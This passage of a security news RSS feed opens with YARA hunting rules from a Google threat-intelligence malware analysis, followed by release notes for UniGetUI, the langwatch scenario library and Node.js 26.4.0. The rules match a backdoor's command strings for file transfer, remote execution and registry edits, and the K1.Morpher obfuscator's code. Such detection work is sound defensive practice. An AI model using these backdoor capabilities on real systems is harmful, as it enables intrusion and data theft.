        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $cmd_1 = "AppDel"
        $cmd_3 = "AppDeleteRegistryValue"
        $cmd_4 = "AppDir"
        $cmd_5 = "AppGet"
        $cmd_6 = "AppMkdir"
        $cmd_7 = "AppPut"
        $cmd_8 = "AppReadRegistryValue"
        $cmd_9 = "AppRegistryKeyExists"
        $cmd_10 = "AppRmdir"
        $cmd_11 = "AppRun"
        $cmd_12 = "AppWriteRegistryValue"
        $cmd_13 = "AppUnpackArchive"
        $cmd_14 = "ArchiveFiles"
        $cmd_15 = "GetFiles"
        $cmd_16 = "Sysinfo"
        
        $hash_1  = {ea8e5e34}
        $hash_2  = {3445694e}
        $hash_3  = {f73e97b6}
        $hash_4  = {9aa70c59}
        $hash_5  = {18b496c9}
        $hash_6  = {0f716ebc}
        $hash_7  = {8e2d79ce}
        $hash_8  = {3ae2a963}
        $hash_9  = {35d26840}
        $hash_10 = {6c41d6bc}
        $hash_11 = {1fdbbb2f}
        $hash_12 = {6ae6578d}
        $hash_13 = {66732be7}
        $hash_14 = {0b113b3d}

    condition:
        uint16(0) == 0x5a4d
        and (
            12 of ($cmd*)
            or 10 of ($hash*)
        )
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_1 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $plain_api_1 = "Squirrel3"
    $plain_api_2 = "DecryptArraySimple"
    $plain_api_3 = "DecryptIntSimple"
    $plain_api_4 = "DecryptLongSimple"
    $plain_api_5 = "DecryptFloatSimple"
    $plain_api_6 = "DecryptStringSimple"
    $plain_api_7 = "DecryptDoubleSimple"
    $plain_api_8 = "_squ_ui1"
    $plain_api_9 = "_squ_ui2"
    $plain_api_10 = "_squ_ui3"
    $plain_api_11 = "InjectedSeedCipher"

  condition:
    dotnet.is_dotnet
    and 5 of ($plain_api*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_2 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $squirrel3_code_1 = {
      00 // nop
      03 // ldarg.1
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld &lt;token&gt;
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      02 // ldarg.0
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld &lt;token&gt;
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      62 // shl
      61 // xor
      0A // stloc.0
      06 // ldloc.9
      7E ??????04 // ldsfld &lt;token&gt;
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      0B // stloc.1
      2B 00 // br.s 40
      07 // ldloc.1
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_K1MORPHER_3 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"

  strings:
    $squirrel3_code_1 = {
      03 // ldarg.1
      7E??????04 // ldsfld &lt;token&gt;
      5A // mul
      02 // ldarg.0
      58 // add
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      7E??????04 // ldsfld &lt;token&gt;
      58 // add
      25 // dup
      1E // ldc.i4.8
      62 // shl
      61 // xor
      7E??????04 // ldsfld &lt;token&gt;
      5A // mul
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Gabby Roncone for technical review. We also appreciate GitHub for their collaboration against this threat. </span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[UniGetUI v2026.2.2]]></title>
<description><![CDATA[Devolutions UniGetUI 2026.2.2
This release marks the completion of UniGetUI's migration from WinUI to Avalonia. With the remaining WinUI components and dependencies now removed, UniGetUI is fully powered by Avalonia. This update also brings Windows 11 Snap Layouts support, refined styling through...]]></description>
<link>https://tsecurity.de/de/3624626/downloads/unigetui-v202622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624626/downloads/unigetui-v202622/</guid>
<pubDate>Thu, 25 Jun 2026 15:16:51 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Devolutions UniGetUI 2026.2.2</h1>
<p>This release marks the completion of UniGetUI's migration from WinUI to Avalonia. With the remaining WinUI components and dependencies now removed, UniGetUI is fully powered by Avalonia. This update also brings Windows 11 Snap Layouts support, refined styling throughout the application, improved log viewing, new illustrations, and significantly smaller release packages.</p>
<h3>Highlights</h3>
<ul>
<li>Further refined the Avalonia user interface to better match WinUI styling and behavior across package lists, navigation elements, dialogs, and controls.</li>
<li>Added support for Windows 11 Snap Layouts when hovering the maximize button, matching the behavior of native Windows applications.</li>
<li>Added illustrations for empty and loading package list states, improving visual feedback throughout the application.</li>
<li>Improved the operation log window so automatic scrolling no longer interrupts users when reviewing previous log entries.</li>
<li>Reduced installer and application package sizes, resulting in smaller downloads and a significantly leaner Windows distribution.</li>
</ul>
<h3>User Interface Improvements</h3>
<ul>
<li>Improved package list styling, column headers, backgrounds, hover states, and selection indicators for a more polished and consistent experience.</li>
<li>Refined sidebar navigation and segmented controls to better align with modern Windows design patterns.</li>
<li>Improved package tag badges and icon presentation throughout the application.</li>
<li>Updated several labels, placeholders, and interface elements for improved clarity and consistency.</li>
<li>Removed the remaining WinUI-specific styling dependencies, further consolidating the application around Avalonia.</li>
</ul>
<h3>Windows Improvements</h3>
<ul>
<li>Added native Windows 11 Snap Layouts integration for the maximize button.</li>
<li>Improved maximize button hover and pressed visual states to more closely match native Windows behavior.</li>
</ul>
<h3>Performance &amp; Reliability</h3>
<ul>
<li>Reduced the size of Windows release packages by removing unnecessary runtime dependencies and optimizing published builds.</li>
<li>Reduced installer size through improved compression settings.</li>
<li>Simplified application dependencies and reduced overall maintenance complexity.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Fixed log output auto-scrolling behavior when manually reviewing previous entries.</li>
<li>Resolved various UI inconsistencies and styling issues across the Avalonia interface.</li>
<li>Addressed several minor issues and edge cases throughout the application.</li>
</ul>
<h3>Other Changes</h3>
<ul>
<li>Dependency cleanup and project maintenance.</li>
<li>Internal code refactoring and infrastructure improvements.</li>
<li>Additional test coverage and build pipeline optimizations.</li>
</ul>
<p>Thank you to everyone who reported issues, submitted feedback, and contributed improvements to the project.</p>
<p><strong>Full Changelog:</strong> <a class="commit-link" href="https://github.com/Devolutions/UniGetUI/compare/v2026.2.1...v2026.2.2"><tt>v2026.2.1...v2026.2.2</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.4.15]]></title>
<description><![CDATA[0.4.15 (2026-06-25)
Bug Fixes

voice/#648: terminal drain on non-audio completion (EL + WebSocket) (#693) (c42320e)]]></description>
<link>https://tsecurity.de/de/3623994/it-security-tools/javascript-v0415/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623994/it-security-tools/javascript-v0415/</guid>
<pubDate>Thu, 25 Jun 2026 11:48:55 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.4.14...javascript/v0.4.15">0.4.15</a> (2026-06-25)</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632750761" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/648" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/648/hovercard" href="https://github.com/langwatch/scenario/issues/648">#648</a>:</strong> terminal drain on non-audio completion (EL + WebSocket) (<a href="https://github.com/langwatch/scenario/issues/693" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/693/hovercard">#693</a>) (<a href="https://github.com/langwatch/scenario/commit/c42320e130ae3d0ea67a743ffea8195cc5f76825">c42320e</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-24, Version 26.4.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes

[cde0daabcc] - (SEMVER-MINOR) doc: update blockList stability status to release candidate (alphaleadership) #63050
[b78f5a7537] - (SEMVER-MINOR) fs: support caller-supplied readFile() buffers (Matteo Collina) #63634
[417aacbc36] - (SEMVER-MINOR) http: close pre-request sockets in...]]></description>
<link>https://tsecurity.de/de/3623069/downloads/2026-06-24-version-2640-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623069/downloads/2026-06-24-version-2640-current-aduh95/</guid>
<pubDate>Thu, 25 Jun 2026 01:46:32 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/cde0daabcc"><code>cde0daabcc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b78f5a7537"><code>b78f5a7537</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied <code>readFile()</code> buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/417aacbc36"><code>417aacbc36</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: close pre-request sockets in <code>closeIdleConnections</code> (semimikoh) <a href="https://github.com/nodejs/node/pull/63470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63470/hovercard">#63470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbb108be7d"><code>fbb108be7d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>loader</strong>: implement package maps (Maël Nison) <a href="https://github.com/nodejs/node/pull/62239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62239/hovercard">#62239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45494d5a8a"><code>45494d5a8a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support <code>TCP_KEEPINTVL</code> and <code>TCP_KEEPCNT</code> in <code>setKeepAlive</code> (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee29465e77"><code>ee29465e77</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b17817eb2b"><code>b17817eb2b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: dispatch <code>node:fs/promises</code> to mounted VFS instances (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63537/hovercard">#63537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc93a6ac5"><code>7bc93a6ac5</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: add minimal <code>node:vfs</code> subsystem (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63115/hovercard">#63115</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/c7eb83b46a"><code>c7eb83b46a</code></a>] - <strong>benchmark</strong>: add child_process async path baselines (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63929/hovercard">#63929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/066fff17a5"><code>066fff17a5</code></a>] - <strong>benchmark</strong>: remove old alias usage in ffi benchmarks (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63666" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63666/hovercard">#63666</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/509cd1b94f"><code>509cd1b94f</code></a>] - <strong>buffer</strong>: optimize Buffer.prototype.copy (Robert Nagy) <a href="https://github.com/nodejs/node/pull/63828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63828/hovercard">#63828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86e651bbd0"><code>86e651bbd0</code></a>] - <strong>buffer</strong>: use simdutf for two-byte utf8 byteLength (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63639" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63639/hovercard">#63639</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3f4ed9015"><code>d3f4ed9015</code></a>] - <strong>build</strong>: suppress compiler warnings for histogram (Richard Lau) <a href="https://github.com/nodejs/node/pull/63980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63980/hovercard">#63980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/82dd7ddbe6"><code>82dd7ddbe6</code></a>] - <strong>build</strong>: add QUIC CI job for PRs matching QUIC related paths (Tim Perry) <a href="https://github.com/nodejs/node/pull/63875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63875/hovercard">#63875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1124c0652d"><code>1124c0652d</code></a>] - <strong>build</strong>: remove redundant intermediate node_aix_shared (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63747/hovercard">#63747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e510ee8087"><code>e510ee8087</code></a>] - <strong>build</strong>: build codecache and snapshot with libnode (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63626/hovercard">#63626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b583dace5"><code>5b583dace5</code></a>] - <strong>build</strong>: enable maglev by default on Linux ppc64le (Richard Lau) <a href="https://github.com/nodejs/node/pull/63474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63474/hovercard">#63474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2324246b4"><code>a2324246b4</code></a>] - <strong>build</strong>: remove duplicated node_use_sqlite and node_use_ffi conditions (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63629/hovercard">#63629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a467a5f69"><code>2a467a5f69</code></a>] - <em><strong>Revert</strong></em> "<strong>build, doc</strong>: generate node.1 with doc-kit" (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64091" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64091/hovercard">#64091</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e01dec45b8"><code>e01dec45b8</code></a>] - <strong>build, doc</strong>: generate node.1 with doc-kit (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62044/hovercard">#62044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ab9848fe4"><code>2ab9848fe4</code></a>] - <strong>child_process</strong>: pass spawn options to the binding positionally (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63930/hovercard">#63930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04c04c8b5c"><code>04c04c8b5c</code></a>] - <strong>child_process</strong>: serialize advanced IPC messages natively (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63933" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63933/hovercard">#63933</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1eef57293d"><code>1eef57293d</code></a>] - <strong>crypto</strong>: support non-byte WebCrypto lengths and cSHAKE (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63988" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63988/hovercard">#63988</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/788a66e147"><code>788a66e147</code></a>] - <strong>crypto</strong>: share WebCrypto method and usage helpers (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63975" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63975/hovercard">#63975</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9fdce3f46"><code>f9fdce3f46</code></a>] - <strong>crypto</strong>: use EVP_MAC for HMAC on OpenSSL &gt;=3 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63942/hovercard">#63942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7e9ca87e58"><code>7e9ca87e58</code></a>] - <strong>crypto</strong>: make webcrypto aliasKeyFormat directional (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63910" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63910/hovercard">#63910</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/656e57ebbf"><code>656e57ebbf</code></a>] - <strong>crypto</strong>: fix unhandled error in Hash._transform (Haram Jeong) <a href="https://github.com/nodejs/node/pull/63261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63261/hovercard">#63261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65536f0d98"><code>65536f0d98</code></a>] - <strong>crypto</strong>: refactor keyObject.toCryptoKey() and SubtleCrypto.getPublicKey() (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63622" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63622/hovercard">#63622</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978f1d2bcc"><code>978f1d2bcc</code></a>] - <strong>crypto</strong>: handle cipher context allocation failures (Tian Teng) <a href="https://github.com/nodejs/node/pull/63542" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63542/hovercard">#63542</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5551e8f773"><code>5551e8f773</code></a>] - <strong>crypto</strong>: deduplicate X509 subject matching logic (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63644" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63644/hovercard">#63644</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57ae87640a"><code>57ae87640a</code></a>] - <strong>crypto</strong>: fix warnings in test_node_crypto.cc (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63490/hovercard">#63490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9984b05dff"><code>9984b05dff</code></a>] - <strong>crypto</strong>: coerce -0 to +0 before native calls (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88011a3689"><code>88011a3689</code></a>] - <strong>crypto,tls</strong>: do not ignore BN_get_word error (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63895/hovercard">#63895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3393d14f"><code>9a3393d14f</code></a>] - <strong>debugger</strong>: lazily wait for initial break output (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63969/hovercard">#63969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0bfcb9c59"><code>b0bfcb9c59</code></a>] - <strong>debugger</strong>: defer probe pause handling until startup (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63608" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63608/hovercard">#63608</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8516003953"><code>8516003953</code></a>] - <strong>debugger</strong>: await initialization after run and restart (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63607/hovercard">#63607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4438cb5284"><code>4438cb5284</code></a>] - <strong>debugger</strong>: add --max-hit option to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63704" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63704/hovercard">#63704</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/238b54ed2a"><code>238b54ed2a</code></a>] - <strong>debugger</strong>: add more logs to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63663/hovercard">#63663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbef54b413"><code>bbef54b413</code></a>] - <strong>deps</strong>: libffi: cherry-pick 9ca53a19833d (Anthony Green) <a href="https://github.com/nodejs/node/pull/64040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64040/hovercard">#64040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9761385dbd"><code>9761385dbd</code></a>] - <strong>deps</strong>: update libffi to 3.6.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64040/hovercard">#64040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/373ec2d092"><code>373ec2d092</code></a>] - <strong>deps</strong>: update acorn to 8.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63901/hovercard">#63901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e44b5d487e"><code>e44b5d487e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>deps</strong>: update OpenSSL build config to support compression (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed287a2e2"><code>3ed287a2e2</code></a>] - <strong>deps</strong>: upgrade npm to 11.17.0 (npm team) <a href="https://github.com/nodejs/node/pull/63857" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63857/hovercard">#63857</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b1b597c797"><code>b1b597c797</code></a>] - <strong>deps</strong>: add ngtcp2_fmt.c to build configuration (ngtcp2.gyp) (沈鸿飞) <a href="https://github.com/nodejs/node/pull/63821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63821/hovercard">#63821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bf8e12305"><code>0bf8e12305</code></a>] - <strong>deps</strong>: V8: add CopyArrayBufferBytes API (Robert Nagy) <a href="https://github.com/nodejs/node/pull/63828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63828/hovercard">#63828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e49d7301a5"><code>e49d7301a5</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.23.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63777/hovercard">#63777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5c079004b"><code>e5c079004b</code></a>] - <strong>deps</strong>: update nghttp3 to 1.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63776" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63776/hovercard">#63776</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d599fa2346"><code>d599fa2346</code></a>] - <strong>deps</strong>: update googletest to 7140cd416cecd7462a8aae488024abeee55598e4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63775/hovercard">#63775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc09f1508c"><code>bc09f1508c</code></a>] - <strong>deps</strong>: update sqlite to 3.53.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63774" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63774/hovercard">#63774</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60787746c4"><code>60787746c4</code></a>] - <strong>deps</strong>: update zlib to 1.3.2.1-motley-3246f1b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63773/hovercard">#63773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/971af104f1"><code>971af104f1</code></a>] - <strong>deps</strong>: update amaro to 1.1.10 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63670" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63670/hovercard">#63670</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e17f665444"><code>e17f665444</code></a>] - <strong>deps</strong>: update googletest to 8736d2cd5c1dcba41170ed2fddca14021d4916c3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63669" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63669/hovercard">#63669</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7591949457"><code>7591949457</code></a>] - <strong>dgram</strong>: add synchronous Socket connectSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63932" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63932/hovercard">#63932</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d75222d7cb"><code>d75222d7cb</code></a>] - <strong>dgram</strong>: add synchronous Socket.prototype.bindSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63838" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63838/hovercard">#63838</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cf8342ae2"><code>0cf8342ae2</code></a>] - <strong>dns</strong>: coerce -0 to +0 in lookup and resolver inputs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e068299320"><code>e068299320</code></a>] - <strong>doc</strong>: update gcc toolchains to <code>gcc-13</code> and <code>g++-13</code> (Louie Llaneta) <a href="https://github.com/nodejs/node/pull/64018" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64018/hovercard">#64018</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65178bdcf3"><code>65178bdcf3</code></a>] - <strong>doc</strong>: add aduh95 to last security release steward (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63981" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63981/hovercard">#63981</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83eedfe85b"><code>83eedfe85b</code></a>] - <strong>doc</strong>: fix typo in util.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63961/hovercard">#63961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54948c78e7"><code>54948c78e7</code></a>] - <strong>doc</strong>: clarify callback exceptions (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63939" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63939/hovercard">#63939</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/205d0a57f2"><code>205d0a57f2</code></a>] - <strong>doc</strong>: fix incorrect test runner mock examples (Kimaswa Emmanuel Yusufu) <a href="https://github.com/nodejs/node/pull/63656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63656/hovercard">#63656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44809b176c"><code>44809b176c</code></a>] - <strong>doc</strong>: clarify fromReadable() duck-typed contract (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63682" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63682/hovercard">#63682</a></li>
